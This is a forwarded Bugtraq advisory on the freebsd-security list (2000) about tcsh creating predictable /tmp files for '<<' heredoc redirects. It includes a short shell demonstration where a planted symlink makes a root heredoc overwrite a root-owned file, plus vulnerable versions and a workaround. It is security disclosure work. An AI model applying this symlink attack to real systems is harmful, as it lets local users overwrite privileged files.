From owner-freebsd-security  Mon Oct 30 13:28: 2 2000
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Reply-To: Cy Schubert - ITSD Open Systems Group <Cy.Schubert@uumail.gov.bc.ca>
From: Cy Schubert - ITSD Open Systems Group <Cy.Schubert@uumail.gov.bc.ca>
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To: freebsd-security@freebsd.org
Subject: tcsh: unsafe tempfile in << redirects (fwd)
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Date: Mon, 30 Oct 2000 13:26:41 -0800
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Our tcsh appears vulnerable.  So is the 44bsd-csh port.


Regards,                       Phone:  (250)387-8437
Cy Schubert                      Fax:  (250)387-5766
Team Leader, Sun/DEC Team   Internet:  Cy.Schubert@osg.gov.bc.ca
Open Systems Group, ITSD, ISTA
Province of BC            


------- Forwarded Message

[headers removed]
Message-ID: <39FBAAF7.D4F258A4@energymech.net>
Date: Sun, 29 Oct 2000 04:43:35 +0000
Reply-To: proton <proton@ENERGYMECH.NET>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: proton <proton@ENERGYMECH.NET>
Subject: tcsh: unsafe tempfile in << redirects
To: BUGTRAQ@SECURITYFOCUS.COM

PROBLEM:

/tmp# echo 'hello world' > rootfile
/tmp# chmod 600 rootfile
/tmp# ln -s rootfile sh$$
/tmp# chown -h 666.666 sh$$
/tmp# ls -l rootfile sh$$
- -rw-------   1 root     root           12 Oct 29 03:55 rootfile
lrwxrwxrwx   1 666      666             8 Oct 29 03:56 sh12660 ->
rootfile
/tmp# cat <<BAR
? FOO
? BAR
FOO
o world
/tmp# ls -l rootfile sh$$
/bin/ls: sh12660: No such file or directory
- -rw-------   1 root     root           12 Oct 29 03:56 rootfile
/tmp# cat rootfile
FOO
o world
/tmp#

VULNERABLE VERSIONS:

6.07.02 (Astron) 1996-10-27
6.08.00 (Astron) 1998-10-02
6.09.00 (Astron) 1999-08-16 (latest)

(no other versions tested)

FIX:

make sure root (and other sensitive user accounts) doesnt have any
predictable jobs (cron, ~/.cshrc, ...) that uses tcsh AND `<<'
redirects.

patch the source somehow..
(available at ftp://ftp.astron.com/pub/tcsh/ )


/proton

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